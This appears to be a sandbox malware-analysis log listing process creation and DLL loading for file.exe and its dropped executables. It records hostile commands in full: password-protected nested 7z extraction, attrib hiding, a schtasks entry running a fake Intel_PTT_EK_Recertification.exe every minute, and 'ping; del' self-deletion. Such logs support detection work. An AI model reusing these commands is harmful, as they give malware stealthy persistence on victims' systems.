Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe "C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe"
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Process created: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe "C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe"
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Process created: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe "C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016852001\95ae71a780.exe "C:\Users\user\AppData\Local\Temp\1016852001\95ae71a780.exe"
Source: C:\Users\user\AppData\Local\Temp\1016852001\95ae71a780.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "in.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe"
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Windows\System32\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
Source: C:\Windows\System32\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016853001\80f68847d3.exe "C:\Users\user\AppData\Local\Temp\1016853001\80f68847d3.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.1.10.1
Source: C:\Users\user\AppData\Local\Temp\1016853001\80f68847d3.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Windows\System32\svchost.exe"
Source: C:\Users\user\AppData\Local\Temp\1016853001\80f68847d3.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7252 -s 640
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe "C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe"
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	Process created: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe "C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe "C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016852001\95ae71a780.exe "C:\Users\user\AppData\Local\Temp\1016852001\95ae71a780.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016853001\80f68847d3.exe "C:\Users\user\AppData\Local\Temp\1016853001\80f68847d3.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe "C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Process created: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe "C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Process created: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe "C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016852001\95ae71a780.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "in.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1
Source: C:\Users\user\AppData\Local\Temp\1016853001\80f68847d3.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Windows\System32\svchost.exe"
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.1.10.1
Source: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe	Process created: C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe "C:\Users\user\AppData\Local\Temp\1016854001\9f237e29d5.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016851001\d2cb36d600.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016852001\95ae71a780.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016852001\95ae71a780.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016852001\95ae71a780.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016852001\95ae71a780.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016852001\95ae71a780.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016852001\95ae71a780.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016852001\95ae71a780.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016852001\95ae71a780.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016852001\95ae71a780.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016852001\95ae71a780.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016852001\95ae71a780.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016852001\95ae71a780.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016852001\95ae71a780.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016852001\95ae71a780.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016852001\95ae71a780.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016852001\95ae71a780.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016852001\95ae71a780.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016852001\95ae71a780.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016852001\95ae71a780.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016852001\95ae71a780.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016852001\95ae71a780.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016852001\95ae71a780.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\mode.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\mode.com	Section loaded: ureg.dll	Jump to behavior
Source: C:\Windows\System32\mode.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
